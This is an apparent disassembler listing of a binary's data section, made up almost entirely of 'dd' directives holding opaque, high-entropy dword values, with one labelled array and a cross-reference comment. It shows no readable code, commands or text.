		dd 45786A90h, 0A04F4BACh, 475AEA34h, 0CC945D05h, 85F5D020h
		dd 0B3B0929h, 0EFED5F7h, 6D3681Eh, 0E956C730h, 17B9610h
		dd 236692BDh, 0C02C7129h, 1577C309h, 45E5EE78h,	48C2FB08h
		dd 0A734DC5Eh, 4B6DE748h, 0BEEC3BE1h, 754268B1h, 462A60D5h
		dd 38B6BA80h, 81812C11h, 0B96B7EE2h, 87E83B1Fh,	9DD30312h
		dd 13343E54h, 0F99EC4BAh, 0D482A2E5h, 557C25CEh, 78B37C5Ah
		dd 1670965h, 3472D05Ch,	554CCAF0h, 0E62559E5h, 91D0B5A6h
		dd 0E4FD9B26h, 88749180h, 3EB8120h, 0E1716289h,	0FA2DDBF7h
		dd 0B7A0BE56h, 0CD06246h, 5730D53Ch, 0E2061036h, 6375CC60h
		dd 0B1906192h, 3871DD1Fh, 5C2384E4h, 720652Ah, 7E6812A6h
		dd 7353A37Ah, 5E5F7B40h, 0B2DFB009h, 4A42D05Dh,	0B70445E8h
		dd 80170A71h, 16929A15h, 8FA12BEDh, 4BABDA7Fh, 0AC1273A2h
		dd 92A9FCE1h, 0B76BDDA1h, 0BBF85B4Bh, 5FF968B0h, 3F49189Dh
		dd 5F46B5CEh, 1EC5B55Bh, 62514F22h, 3BB750B2h, 0BDDBC9FEh
		dd 47D22872h, 70B76544h, 0ABFD4E31h, 0F2223039h, 0EA8852B0h
		dd 0D55E5173h, 0B57857ECh, 4F0DD2C2h, 0C5D6806Bh, 73C132EBh
		dd 0A008BD29h, 0C892608h, 577596D7h, 99404FEEh,	0F1C0CB5Eh
		dd 0D491637Ah, 38665863h, 3413E917h, 0C478EC01h, 0AB88B22Bh
		dd 212805A2h, 0C2EA89FBh
		dd 0DF0B57AFh, 27BE2486h, 1070EB03h, 0B60114EFh, 0A2E5208Ah
		dd 54BC8976h, 77FE6851h, 6BCAAFADh, 5DF97288h, 0E15E410Ah
		dd 0F2F1D208h, 78980212h, 25894D58h, 5A545282h,	9CB066CCh
		dd 5F12AC54h, 973B43A4h, 54AE2CE9h, 0CA88359h, 0B34E4067h
		dd 0EBD03E03h, 9997CB80h, 0E17B12F3h, 99C3E4F8h, 5BDC2807h
		dd 0E9E2ACB1h, 0F32C61F4h, 9663E32Bh, 0AEB4FBACh, 111F1990h
		dd 81680279h, 0B17E23CDh, 0E49CF282h, 762FD350h, 63C28208h
		dd 93E7DBB7h, 918BB4Bh,	7DB595CAh, 97FAB7DEh, 7EF0E025h
		dd 987D69FBh, 9FD90AACh, 0AB44CE2Bh, 472D4EEAh,	5E8158CCh
		dd 0B99ECC63h, 63ABE64Fh, 0EFE153EEh, 3ED1C22Dh, 4EFE8F51h
		dd 1E8CBE0h, 4AD65FCAh,	968304Ch, 76A814F0h, 0E18F3182h
		dd 0A2857D09h, 7FCECB4h, 0FB9AE4B8h, 0F9F0EB2Eh, 808169EAh
		dd 60D62716h, 0A240D8E6h, 1BB7A05h, 92D4A95h, 0FC741318h
		dd 96BA1085h, 3256813h,	6FEF7A61h, 0C6D1AA04h, 6EE4B9F6h
		dd 90F2F223h, 71AB31BDh, 0F87AC6FBh, 292EE749h,	68006DF7h
		dd 127E3A6Bh, 0B2350558h, 0EA72A327h, 0F3DF2681h, 7A40B800h
		dd 3A056026h, 5F9C6125h, 9202C6Eh, 0B41F396Ch, 8B058266h
		dd 2592EA35h, 0A6E1D4C3h, 0FB052D96h, 4186015Dh, 606E8575h
		dd 4D10DDABh, 6044EE4h,	0B20172E9h, 626809DEh, 8891FA28h
		dd 0C7D6F7F1h, 32465FCh, 9CC89F0h, 745DABC4h, 0F1173C3Ah
		dd 7D5C6007h, 434A3A68h, 0FC887021h, 0C1D61230h, 44C62D14h
		dd 0EC05D0B0h, 20AD3013h, 707AAA1h, 591411CAh, 0A9808984h
		dd 5E26561h, 4264EA68h,	52506641h, 0F6DCF760h, 44F771B5h
		dd 3ED0E1EAh, 97882CDCh, 8C9D930Fh, 68242E76h, 947BBA09h
		dd 0A438664Fh, 66F304C2h, 0AAF53743h, 8BECC016h, 86D101E4h
		dd 6B147802h, 54C087F2h, 531A3145h, 1916BB78h, 0F4B9EAC1h
		dd 725CC302h, 0C0F5632Dh, 0CFF78E71h, 0A9CC255h, 0EF4933h
		dd 3D39455Eh, 345B21E9h, 6A5138D9h, 31021B17h, 0C55D857h
		dd 624F644Ch, 258207EEh, 810550E9h, 388CCF8h, 3D366499h
		dd 0C02EBCC3h, 657ECDBFh, 0CBF69742h, 1318CCCCh, 4737DE67h
		dd 0F9C3037Bh, 0F3CF2077h, 30A563FEh, 0FE64B79h, 0BC029125h
		dd 31E9DA29h, 4E1E7A43h, 88B105C7h, 0D4A482E2h,	944CDBB8h
		dd 0B2B4F083h, 0DFF40180h, 2858E588h, 98E02EEBh, 646BE7AEh
		dd 388B93FFh, 0D1BC53A4h, 0A49B404h, 71A0AE0Bh,	20C86BBAh
		dd 4F3AF251h, 0CFD446A3h, 0ADF6BF2Fh, 0A3CADD69h, 8213CDD7h
		dd 103BEE9h, 5B0B0846h,	0FD26B863h, 612D4C80h, 50487045h
		dd 432B0287h, 0C0F80144h, 81C477C1h, 8025E320h,	426C5114h
		dd 0BB01DF2Dh, 61E20925h, 6120D353h, 0E34B5803h, 5B7E2332h
		dd 0D83F9940h, 131BA295h, 80BE00DBh, 0D14EDDFCh, 0CAA122FAh
		dd 1313C675h, 0CD5F4168h, 87252AEDh, 25040D25h,	29AAF57Dh
		dd 0A7C03E99h, 4EFF69A1h, 4F8A959h, 5EF37C5Dh, 4100F6EFh
		dd 1C28E20Ch, 451E562Dh, 6F85AC23h, 2486C872h, 9BE2488h
		dd 0C3DF1BADh, 189FC002h, 68770AFAh, 40607295h,	0F27F52A5h
		dd 0E78FD89Fh, 0A366C86Eh, 0C61E341h, 0E57151C5h, 0B642EBC1h
		dd 154ED777h, 95B64A80h, 0C1DC93BDh, 8A2B9371h,	377F5091h
		dd 261B5ED4h, 0E509B0C5h, 40CCD1ACh, 679E2BFDh,	0D4070500h
		dd 6FE99861h, 878C994Eh, 3413572Dh, 5188256h, 0EE5F0785h
		dd 7B1C6801h, 82812FA5h, 7381A14h, 73F931E9h, 3FA410C8h
		dd 1890267Dh, 5D506913h, 3D90285Ah, 0F20296E6h,	7CCEEC1Dh
		dd 238D2C7Eh, 0DD060290h, 567EDC72h, 91E7A08h, 5A45D029h
		dd 0E002ED2Ch, 0E2201C18h, 480D454h, 85AB1F9Fh,	0BC8BAA54h
		dd 1FD0F717h, 4F46958h,	0C44B5161h, 27A5868Dh, 2DFA8739h
		dd 0DB6741CFh, 0FBA3C42Ah, 80415BCDh, 427E2FEBh, 857B8FA4h
		dd 0CA4D16E0h, 0AD7953BDh, 0E48B751h, 0C1516669h, 0C36A9728h
		dd 1E0C852Eh, 0C40FE15Fh, 8E9CAF9h, 6B16C524h, 3E952DEEh
		dd 9D51CDF0h, 0B356A3FCh, 53BD01FEh, 7F44F366h,	1C380089h
		dd 28318706h, 97170F0Fh, 0B18AE09h, 0A1BE560Eh,	0B32E2909h
		dd 7EE9C1A4h, 6B23012Ch, 87085224h, 31D82966h, 7E25102Dh
		dd 0E2D29CA2h, 0EF83872Fh, 0ABCE97FFh, 0DFEDE909h, 6F8211FEh
		dd 414AF046h, 0A4258DF6h, 56F8F741h, 0FCEB4D93h, 0C84A2771h
		dd 7D9D151Bh, 0C05C970Bh, 8BD07B0Ch, 67080BBFh,	485D28BDh
		dd 933EF44h, 0E9D6DF9Fh, 0F2BB18D2h, 0AC9DEA03h, 2CE9989Eh
		dd 0EB69C048h, 20BE4E5Eh, 6397D7F6h, 0D3C33115h, 1DA33C9h
		dd 92F8635h, 0A90B292Ah, 170C9BFFh, 43BE68FAh, 172FE9FFh
		dd 9BDF2D28h, 4720100Fh, 0EEF7A441h, 48BCF7AFh,	17280412h
		dd 0A4877A20h, 74EC90D9h, 0E230D7F8h, 1B163BDBh, 0CA0605E1h
		dd 0F4A68B66h, 5AF7028Eh, 995ED7F6h, 8FFEC9CFh,	5800504Ch
		dd 14B2CD81h, 68165503h, 0F6B3356Fh, 90398605h,	0E175853Fh
		dd 13E03E46h, 5DEF4060h, 2AC95648h, 0B1071BB4h,	79C1802Fh
		dd 79FDA6D2h, 0FA25ADE0h, 6212FF8Fh, 6EE979FAh,	810086A2h
		dd 0F88626F2h, 0ED2D6897h, 9232D164h, 7417AED7h, 0E98F67ADh
		dd 11E6A4A2h, 0C12F1176h, 67A6CE14h, 786804E3h,	960CF845h
		dd 0E93270AFh, 149CCC79h, 0E2272C64h, 0EA50B4Eh, 5B7AB5Ah
		dd 0CB8B572Dh, 24B35453h, 22E9C1D9h, 4844B261h,	0D68A081Eh
		dd 13BCAE82h, 11ADD46Ch, 4BBF930Fh, 0F81CAFD2h,	9AE9D5C5h
		dd 0BD4E3CE0h, 0F39F8E78h, 25D0ACD4h, 7AA59DE5h, 1D0518ECh
		dd 2F695E5Bh, 81030CE4h, 6B2A33E5h, 0A9F5B01Eh,	1B442456h
		dd 235401B5h, 6A09740Bh, 0FFEB6FD1h, 0B878248h,	37C66850h
		dd 1FDBC630h, 54125E2Dh, 0E0ABC7F4h, 0A0E91139h, 0F5C22D6Bh
		dd 0CEC77611h, 5BFE33CAh, 0D7EEAD09h, 45FD1A1Ah, 0E3A5B925h
		dd 402781D6h, 3BE7BB6Ch, 0A95CD74Eh, 0C5633304h, 0AE1AF6Eh
		dd 5F5B0802h, 19018E0Fh, 0EAE94CB2h, 0E7C1A8A1h, 0E0CA2002h
		dd 4590141Dh, 3CD3CF81h, 40300568h, 0F2FB82AAh,	0B57F18Ch
		dd 0B6D8601Eh, 296B0DBBh, 7CBA7A0h, 1BD06C17h, 5EBEE416h
		dd 4FA7AF8Bh, 0B56D35Fh, 7C5BA825h, 736805D4h, 60CAAB54h
		dd 7C5D294Eh, 4C34C63h,	4B332CFCh, 0AB050708h, 46FF6999h
		dd 0E6109879h, 92C9683Ch, 5C001D2Bh, 0A9667DF2h, 58759606h
		dd 68253D22h, 0CF85D70Eh, 7BC2E1E8h, 9F2D388Eh,	9F93FA70h
		dd 0D8B91831h, 0C51AF82Ah, 0B9441657h, 9F808E5h, 0F20E8048h
		dd 2B2C348h, 7C092D3Ch,	0E7DC840h, 0B8DBF680h, 3B4D73E2h
		dd 0E31842F3h, 28E612A8h, 74D2DD5Ch, 64AE015Ah,	4F3B0D12h
		dd 0ACA88A1h, 708439B9h, 0FCFA7FEFh, 7214883h, 68102EA1h
		dd 0C257D993h, 2F9256EEh, 0F2788359h, 4E89ECCFh, 3842EA47h
		dd 7F5DEE31h, 14CE7248h, 64185617h, 8B4AD30Ch, 6329008Dh
		dd 0D5F18147h, 67289C4Ch, 0E74EDE89h, 4F5294C6h, 552A22B5h
		dd 5A16FAF6h, 41811F98h, 0A4E9693Ah, 0FA5CA5AFh, 0E7BD59C8h
		dd 52665A05h, 0C0AEE5D1h, 405E0659h, 85577E9Fh,	816711D6h
		dd 0C32BFD50h, 3E7F9985h, 2E4876B2h, 2346D605h,	769BED09h
		dd 31266918h, 2748AD0Ch, 0D5C1F1DCh, 0F309C2BDh, 7F54AD05h
		dd 3316FD72h, 7FDA7095h, 680C89D6h, 72F001DEh, 0F4B97B98h
		dd 0B8C0BA8h, 58504282h, 8A0B4D4h, 0C8015D12h, 4FC016A4h
		dd 0C1F8FC0Ch, 363B02E2h, 35A9C02Eh, 0D50B4AABh, 60DFE97Ch
		dd 492768F1h, 0CB82A070h
		dd 0D4600D3Dh, 4082D7D4h, 5A295745h, 2F9DC06Ah,	1F5B8A83h
		dd 0E70709FDh, 9BDA1D80h, 0FD06BDFEh, 0D2A604Dh, 6C0B0F9Fh
		dd 19C77CB4h, 0DD7EC8FEh, 82240E22h, 0A454A5D0h, 1A89DD69h
		dd 0CE078377h, 0EE8705D5h, 0B8136B7Eh, 44950494h, 0D2FA5A59h
		dd 4A4B0270h, 3FF187F9h, 4968F40Fh, 82AC714Ch, 0CBDA57B0h
		dd 203B57D6h, 82B8009Ch, 50FA24Bh, 0A9030B11h, 2DD8F736h
		dd 17A7A9E2h, 5BD40F82h, 7EC16DC8h, 0FEB00429h,	6E7C4146h
		dd 0E58BEAB0h, 4A4CD01h, 68A031A8h, 45BB660Bh, 0D1F63707h
		dd 0B708D926h, 178E5488h, 0F5664EDEh, 12E1CFE4h, 3F8505FBh
		dd 0D58DD79Bh, 59A849A7h, 0D28CBFF6h, 57FDB4Dh,	21304177h
		dd 93ECC5h, 431F59F9h, 9702E6E9h, 68F807E6h, 6D7AFE2Dh
		dd 32752594h, 0F72FC179h, 34B66800h, 800B1DAAh,	47B3FA58h
		dd 700B8325h, 0E96E0838h, 933F4534h, 0A1B8FFEDh, 3130D6B1h
		dd 7FEC2EAFh, 6B1AC502h, 8AC228F1h, 0D6FFC14Bh,	0CB059C4Fh
		dd 89BCC2EFh, 583BE0AAh, 41C013B1h, 0F1FA3759h,	0C6548012h
		dd 65016424h, 290360E3h, 408EA72Fh, 2F2CEF1Fh, 0CE00AAFAh
		dd 68725949h, 961B7DE9h, 150BE993h, 0C52583F6h,	0B392BF69h
		dd 0FF6EC91Fh, 3A2CAEC9h, 220541D0h, 21672546h,	0A0D50EEAh
		dd 61E18A4h, 0E3D12D1Ch, 0C08D7860h, 8B015927h,	82E1DE25h
		dd 41E57015h, 61F2E2DDh, 69F025Bh, 22CDC105h, 3474F958h
		dd 7E3BA095h, 6F3DCFBh,	73A761Ah, 408A130Ch, 8B3D1E2Eh
		dd 0EAF1011Dh, 0EEB00C12h, 222D055Fh, 0A1477728h, 68F28507h
		dd 0E2F84482h, 6A6EB0C0h, 9C053574h, 295A3E4Ah,	0F1C1D15Ch
		dd 17B9950h, 1A41C43Bh,	0B0D41C08h, 7E5A2E0Bh, 0E95B40B7h
		dd 48978C68h, 0E10C2F8h, 1307E6Eh, 13A68ADFh, 0B5F382E9h
		dd 44617F36h, 5709F273h, 8628980h, 0D3EF1B43h, 62519AF1h
		dd 0E4B52753h, 5C0F0F3Eh, 0FA69202Fh, 3A5BE0E1h, 95006929h
		dd 1A6B3EF4h, 92CA0136h, 975080Ah, 92D7FA17h, 16485F0Ah
		dd 0AD062C6Eh, 0C885E933h, 0FC77D9Bh, 0F25A49EFh, 0DF67AAF3h
		dd 0D7224DE7h, 0AD8C80C1h
dword_4F0044	dd 0D7409856h, 0AFE1E50Ch, 70EDCAB2h, 2668E9A0h, 533E004Ah
					; DATA XREF: ___:004385A4o
		dd 9E7D8BBBh, 21401F58h, 92B9812Bh, 7B059526h, 0BC5B8CA0h
		dd 29BF0BE0h, 559EE870h, 5782FC2Ch, 0D8306850h,	5CC19070h
		dd 128131C3h, 0EDD3DF5Fh, 0B3D6C1Fh, 84A13558h,	2DE84C9Ah
		dd 0F703FFCCh, 0C48ED049h, 0AA122145h, 202C6E61h, 5504E936h
		dd 0C0673F7Dh, 6315D05h, 64E90213h, 99BA3616h, 3E993F6Bh
		dd 89809B61h, 0C5FE8AB5h, 8074E5D0h, 3D25617Eh,	0BDEDD3BEh
		dd 17AC3B98h, 2F165BF5h, 0BB11271h, 90EFCB21h, 0F6CF5AE4h
		dd 9D0EC058h, 566D5E60h, 0AC7A84FDh, 3181EC50h,	0C82A939Bh
		dd 74E3837Dh, 59B4D5BAh, 9D80D052h, 6813C766h, 91A86C59h
		dd 0BF37EC4h, 2068DB09h, 4D39008Ch, 0E9402AABh,	0CB9922A2h
		dd 0D55A17BCh, 237A49D1h, 0DD48D707h, 0EDED9282h, 0C5FDF5E5h
		dd 0B7EFFEF4h, 12E45D68h, 4B0B592Eh, 0D867C103h, 58D9AF6Fh
		dd 7DEFF2CCh, 98C3404h,	4AC7A810h, 680976CAh, 0D1B01E50h
		dd 0C0132CC2h, 86E52D11h, 7B21DAD6h, 30524B68h,	435BE5DFh
		dd 0B820A098h, 1FB23B27h, 0E9756A92h, 52C3004Dh, 895839D7h
		dd 77F3B5C7h, 2EC09320h, 4F352D6Dh, 729A3A30h, 79542287h
		dd 0EFEAB018h, 0D0902E6Ah, 0E94F5805h, 34E7F0E5h, 61FA4A7Fh
		dd 3B6F496Ch, 0B5A16931h, 169E4328h, 0CD20FF5Eh, 4E086131h
		dd 500BFC6Eh, 7140332h,	7DB534DDh, 7C585B78h, 0E750552h
		dd 0CE8078F7h, 4850587Dh, 77E2412h, 176BDFC9h, 0C2487266h
		dd 1F2D51B0h, 0D577E818h, 0B826793Ch, 0A2297616h, 5C0809E1h
		dd 66CBCC88h, 4928B95h,	0F4106AABh, 0B141430h, 84240FC9h
		dd 55891A41h, 2105854h,	3A2A3283h, 28C8E2C1h, 454C3C37h
		dd 0E6A1BB9h, 96CAB12Fh, 0E65974h, 25116C4Bh, 3F777C47h
		dd 9698BFB8h, 77253096h, 0AC68EEA1h, 758C2A01h,	753B0066h
		dd 47E28177h, 3E3CF94Dh, 0D951A7E9h, 0B41216E1h, 6801E32Eh
		dd 831D6F35h, 929D01EBh, 0F0FC2D15h, 9763CE2h, 0BB989877h
		dd 6CB99EB7h, 547D5680h, 0F1DDA42Bh, 3572B71Fh,	420BDF68h
		dd 5647BBF9h, 0D0B82EF4h, 0F609674Ch, 0E70929ACh, 135F22DDh
		dd 4EE657DCh, 0D04D0C0Bh, 3D51E82Dh, 74451C60h,	659AAF29h
		dd 9FE90C01h, 62A057E5h, 0BC486530h, 90B4F01h, 0E0295E6Ch
		dd 25E9C385h, 0AEF9AEBAh, 84A8E01Bh, 9359A9Ch, 30621BB8h
		dd 578DF004h, 0B90EE0ACh, 13EB50E0h, 9D2D6A40h,	3C220F1Eh
		dd 89E9E885h, 881386BDh, 10B1A36Eh, 8A106B3Bh, 0B912172Ch
		dd 4A5F5CC8h, 0C2A78822h, 12EE9D4Ch, 2D014A4Fh,	576E4905h
		dd 7800B17Fh, 3AF1706h,	6E8436B3h, 0D27AFD49h, 821074AEh
		dd 8BD782D5h, 27B6F795h, 1725C292h, 6CA2256h, 20FC4C34h
		dd 5FA3DA73h, 38268FF9h, 36F692D0h, 0A4A29524h,	0D568C1E3h
		dd 19F83649h, 0C48B3C5Ch, 0A8887960h, 78B35394h, 0C09C2C5Dh
		dd 32D8A529h, 80E4F620h, 7AC772CDh, 12C92460h, 0D58DC255h
		dd 0C002237Fh, 0E27125EAh, 5F0FA116h, 0CF33A84Ch, 443AC0CEh
		dd 4BE94E32h, 3C7FDF5h,	5079F1F7h, 7F72D9F2h, 5C8E351h
		dd 3591212Fh, 0A529025Eh, 8602EED9h, 60B8388Eh,	9959CE2Dh
		dd 0A13F1340h, 63B06AEAh, 7F1917D0h, 2B1EBFBFh,	282DCA41h
		dd 796459AAh, 79BB3F29h, 1A5C2A6h, 3516D2C1h, 700A7A38h
		dd 5A1308E9h, 7CAA8FFAh, 38114025h, 90F766EAh, 29A92BE6h
		dd 546717C9h, 0B8221A65h, 0DFF5E195h, 0DBB057EAh, 97776855h
		dd 9259182Eh, 7BBBD424h, 0C914572Eh, 0E918B560h, 40495A44h
		dd 531CF1E3h, 0D6C05732h, 0A15AB2A5h, 58A90905h, 73781E3Bh
		dd 37E90780h, 0B689E24Ah, 0F1FD913Ah, 0F97FC2B2h, 1CDFA798h
		dd 4BBD90F7h, 1042F31Eh, 0B540BAF8h, 0A05203A6h, 42050D1Ah
		dd 3E0B29FFh, 0FDFE9550h, 61255E06h, 0D67C531h,	44E16858h
		dd 7CD1E95Bh, 0A8B9E4D5h, 4771AF85h, 8457C1A8h,	3613BE05h
		dd 0E5D383A2h, 1CF76AB7h, 9480E985h, 0CBAA01BDh, 3F9416AEh
		dd 0FA6691A1h, 0A716A44Fh, 355EE40h, 65026DBDh,	85E24D3Eh
		dd 0D56909D5h, 46FF0632h, 1B5E2767h, 6809E267h,	519BF70Eh
		dd 9DFD435Ah, 17F51EC4h, 680520FBh, 4C9D4B20h, 8D214B95h
		dd 6D78E40Bh, 0D2752FE1h, 0D2F4E6BAh, 5D795DD8h, 0AE87B2DCh
		dd 80291456h, 70AC2FBFh, 5FD1494Eh, 0ABFC21EDh,	0B1A8B539h
		dd 0E6682508h, 41800676h, 40DAEFC1h, 0E5AD12BBh, 480ABC60h
		dd 4E98983Eh, 0F7265543h, 6BCE825Eh, 5B67F0C5h,	502DA71Bh
		dd 0D995ECB9h, 522C93B7h, 7D71AF80h, 0ED33196Eh, 8235D735h
		dd 8AC8240Ch, 31F90159h, 0D03A4811h, 4DFC5A4Fh,	3314E9B0h
		dd 776744Ch, 71D975A8h,	40BDACA4h, 94AEA1Eh, 48E2C47Ch
		dd 515C39C0h, 0D4050A27h, 0A576020Ah, 8986435Fh, 50F837F9h
		dd 71C85916h, 42F62CFEh, 0BE4EFA4Ah, 6B5E7E30h,	2F5201D6h
		dd 0E0CBEAB8h, 0E7D119A1h, 0F057CAC1h, 0B587FA78h, 5D5CB961h
		dd 2041FC6Bh, 6BBFF99Dh, 3186107Dh, 2CAD98D0h, 92436FE9h
		dd 0F97B985Eh, 0C3CFAF60h, 5B08027Fh, 0F10CB1E2h, 0CB400659h
		dd 33595248h, 0FEE9C94Fh, 0D5F78D35h, 0D3BEE408h, 0E45FD0CFh
		dd 0B68FEBh, 0D483803h,	0B4CE7BAh, 84BE4C0Ch, 0C71474DAh
		dd 12E30E10h, 65EECA68h, 4A8BABEBh, 5F0CE90Dh, 1AA1E0CBh
		dd 4A02B825h, 5F080286h, 0B7E96053h, 6A00939h, 0A0F54D5Dh
		dd 36BCED59h, 0AFD44F07h, 42C20600h, 0C0291E35h, 3A79F50Ch
		dd 9D2EE91Ch, 805A48CBh, 46685101h, 12612708h, 0C55F91D7h
		dd 2FCFF92Eh, 0BA0E565Fh, 891308Ah, 86550C7Fh, 45F4C1C3h
		dd 7A97D1FAh, 4F2C26F7h, 8802EA5Fh, 0D12FD3BBh,	3D82896h
		dd 7916449Bh, 4E40D129h, 7B958708h, 1DE90630h, 0C702374Dh
		dd 32B47E06h, 0BC38FA5Ah, 0CADF42B4h, 504228D4h, 5AA48056h
		dd 0B86A1C29h, 35F12064h, 785769Dh, 0F766CCEDh,	9A216F7Dh
		dd 20419F40h, 719D3F8Ch, 0BDE4EF7Bh, 0FD8AAAAFh, 5E5F5605h
		dd 75CDEB31h, 9DB62F30h, 715D2A62h, 0B58566D9h,	1EDE7E9Dh
		dd 79B5227Dh, 0BE56406Dh, 9D2D48A0h, 13DAD847h,	0F0B862B7h
		dd 0FC2568F2h, 1DEC651Ch, 0FB74ED8Bh, 7D7D6471h, 596E9904h
		dd 0A900B452h, 5E92751Eh, 0DBBF5741h, 4BE6B861h, 3061DF9h
		dd 0E0F792D1h, 4B1612EDh, 0A6E959B7h, 0D3780E27h, 2AC23CDDh
		dd 7F4F2E35h, 2813E0DAh, 0FD014CA1h, 5A0B4D1h, 0ED213B93h
		dd 49F07A8h, 95D03933h,	98681F02h, 0FAFB2E4Eh, 4E906967h
		dd 46BD5EB2h, 3DB9509h,	0BA965649h, 96A0A24Ah, 320D29EAh
		dd 0FA4A10EDh, 75A4BB02h, 0BD607998h, 2AEE3E56h, 9E764A98h
		dd 5F1F1620h, 0A266805Bh, 47092672h, 44106DE9h,	0C3303D8Ch
		dd 6B8EB419h, 6C15DCFAh, 5FF80FC5h, 7A3222BFh, 46AB5904h
		dd 0A3C1EB96h, 0D0F668C4h, 0FC0B7A82h, 80D66068h, 26FAEAC3h
		dd 4701032Dh, 295C07D3h, 9FE4AB77h, 16DB8080h, 0BB48CC01h
		dd 737936BAh, 0E910386Ah, 90189924h, 0F89C5B64h, 0BDC440EDh
		dd 0E373209h, 0A02C112Ch, 2771A5C0h, 2C1A6C29h,	995D0C05h
		dd 0E41B60D2h, 0B0F18DA6h, 0F1B41012h, 9CC13880h, 40A08D50h
		dd 689D8922h, 7354CCFEh, 3082BF1Bh, 46C1C621h, 79680080h
		dd 2AB13D5Fh, 541AD317h, 50073C25h, 6F723454h, 2EEEA6A1h
		dd 0E0812AD2h, 42CAD622h, 81B880Dh, 0FD50E905h,	0F7479692h
		dd 557D8046h, 4DBB5303h, 0F116E36Ah, 0FAD8CAF3h, 0A100957Eh
		dd 0AE443ABDh, 5AB99858h
		dd 0F22B68A1h, 63FACC6Ah, 413EB055h, 0C39B3082h, 2CBA5213h
		dd 0E2D92E89h, 73ABA93Bh, 60440405h, 0AAE29BDh,	0AFA7D4BCh
		dd 0A46C7981h, 8E4CEC2Eh, 0C713BBB1h, 0B95168B3h, 0CC05AC6h
		dd 5F10DEDh, 567901E6h,	12DC6049h, 50915429h, 1539AB6Bh
		dd 20BA894Fh, 56321066h, 42F324A7h, 5AC5574Dh, 0A6D0410Ah
		dd 54025CACh, 0D57CD257h, 24080128h, 210C2792h,	2114591Ah
		dd 38D95BD9h, 14FC1724h, 0FA7224FFh, 0B551DDF5h, 8A2F9DC1h
		dd 4756140Ch, 4397010Bh, 0FB3111D2h, 0A9D1E2F4h, 6171DAA9h
		dd 4E69E1DFh, 0F2020539h, 0D0C83F2Fh, 12198177h, 5C3C6F35h
		dd 4D500448h, 4F578A73h, 27141D76h, 8BE98F38h, 2949EF92h
		dd 37E67DC2h, 514C38E6h, 2CE3D51h, 68AB09EEh, 20527899h
		dd 594C60A2h, 0A1B1071Dh, 7FAEC980h, 2C0E3EA6h,	8AEA13D1h
		dd 0EF8905F5h, 0A7B8DEE9h, 5074050Eh, 0D0F73F00h, 7D036C35h
		dd 0E0C16FB9h, 4C19C004h, 0E0204E2Bh, 0CB40FC31h, 308414B6h
		dd 9F1CF4F1h, 64D6202Eh, 4866DCF0h, 0FD24A49Bh,	120820ACh
		dd 0BCF5E4E9h, 5753C155h, 0C88B6852h, 0C03262Fh, 3DF2CEEAh
		dd 0AFC7BD8Eh, 0AC7825AEh, 84D44E7Eh, 40064FC2h, 5012352h
		dd 39E964D6h, 0C9F04E09h, 33F659E2h, 457640D7h,	4D6D2526h
		dd 0E22004D4h, 71177902h, 61F101A9h, 353D9038h,	0D42D2477h
		dd 245C8426h, 0A208BE0Ch, 0B5A1C4Bh, 0EF0E58C7h, 4B0A524Bh
		dd 0A4471620h, 280F8B9Ah, 854326D5h, 77129671h,	589309C2h
		dd 1D1BD69h, 0A3830A4Fh, 523EC96Bh, 0C32A2D61h,	0BFB52953h
		dd 884BCF8Bh, 860C0548h, 0CA32080Dh, 5107A02Dh,	0FAD17288h
		dd 0F5584C59h, 0BB4167E1h, 0E64534E1h, 0A4C2ECC7h, 6392D7F7h
		dd 22966C78h, 16BEF565h, 149AEFB8h, 4D20DE4Ch, 4562599Eh
		dd 4FE775E7h, 7A0224A4h, 4060CD3Dh, 7339DB28h, 0B8214A2Ch
		dd 288915CBh, 1FBB0343h, 0E969A17Dh, 283BACE3h,	0E5BD5928h
		dd 0E956851Dh, 0AFBB5636h, 7861E2Dh, 55A352E9h,	307DDF4Ch
		dd 0D4EEE3F2h, 4C343D3Ch, 11A108Bh, 0B24D1677h,	0D4536154h
		dd 30614B23h, 55C29CE2h, 0E24C7DB9h, 0CF685D9Dh, 61C4A25Eh
		dd 29827EC5h, 0AB70DD40h, 28590881h, 9851090Ch,	0F1627D33h
		dd 17910808h, 7F31A1DAh, 9D682A38h, 0F15D5642h,	0CD44BDCh
		dd 4A98108h, 0B3503768h, 0A1A132F5h, 0FFB2A95Ch, 129DD482h
		dd 0C44E1BDCh, 0BD4B6BABh, 0F5806C2Eh, 0F722605Fh, 0F0E9DD5Bh
		dd 95296B06h, 631C0C51h, 0D2A524EAh, 0FACA0030h, 0E9036F0Fh
		dd 40824249h, 7A3BE1DEh, 0FB292C02h, 2D7B8222h,	84DE57C3h
		dd 0A93E5351h, 74FBA71Eh, 0C9905A7Fh, 799DE4CBh, 0F68107ACh
		dd 8B800244h, 16EECE75h, 0DDA955E9h, 5F0BECC0h,	9F68449Fh
		dd 0C05EAF84h, 370D05ADh, 7C782C0Fh, 0C2C41DD1h, 0AF81F52h
		dd 0FB189300h, 0EFC7E937h, 5E8419B9h, 0E6AE5455h, 9AACD393h
		dd 0CE6904B4h, 765809DBh, 0FB88C40Dh, 34E4F961h, 1C873C6Fh
		dd 44E72610h, 194B56CEh, 0B9683B04h, 0F2F602ADh, 0F87D2A08h
		dd 0D1292746h, 0AB09A3D2h, 0F0531E7Ch, 0E90780CCh, 9E81E599h
		dd 9A71472Dh, 79C47B16h, 796AC181h, 0B47B2EFDh,	9304F56Ah
		dd 21A1609Bh, 0EA8BC4h,	0E42B19C6h, 0C5BF51CBh,	0B69AA7A4h
		dd 73E7A75h, 5F7356F2h,	0ACC2604Ch, 7F096FA3h, 0F6CBE6E9h
		dd 66434230h, 171E900Ch, 0BE2E4E73h, 0C836FB18h, 40BF4C7Dh
		dd 58C0D439h, 50D25697h, 0BABF2176h, 31E155BEh,	0FD203B34h
		dd 9E4A9868h, 0C22B7233h, 73B26F68h, 84FE19C9h,	12FB9301h
		dd 0E760BF80h, 511B61E9h, 0EC202801h, 0A5CF54C9h, 392014F3h
		dd 0DE26FCAAh, 236A463h, 61F869C4h, 257E0962h, 15375000h
		dd 2FE94B45h, 0E4F4CA57h, 0AB27B2CAh, 88025F42h, 5C04F6B1h
		dd 1FF7C1EBh, 589D599h,	955FC2FAh, 1CEAE440h, 993E5B7h
		dd 3B7DB2DFh, 0C770D9FAh, 0B5221659h, 381E6826h, 322DFE5Bh
		dd 9531A530h, 16EC5254h, 69A18ACFh, 7BBF3F6Eh, 0C41529A1h
		dd 258581B0h, 0B97E21F9h, 8D68A451h, 145F5E13h,	4027667Ah
		dd 1C3565E0h, 55B26216h, 9F7C29BCh, 0F4E9FCF8h,	0F1623E6Fh
		dd 0B055442h, 0F0BF8701h, 7C4FE10Fh, 0AAA015Ah,	0D5E94231h
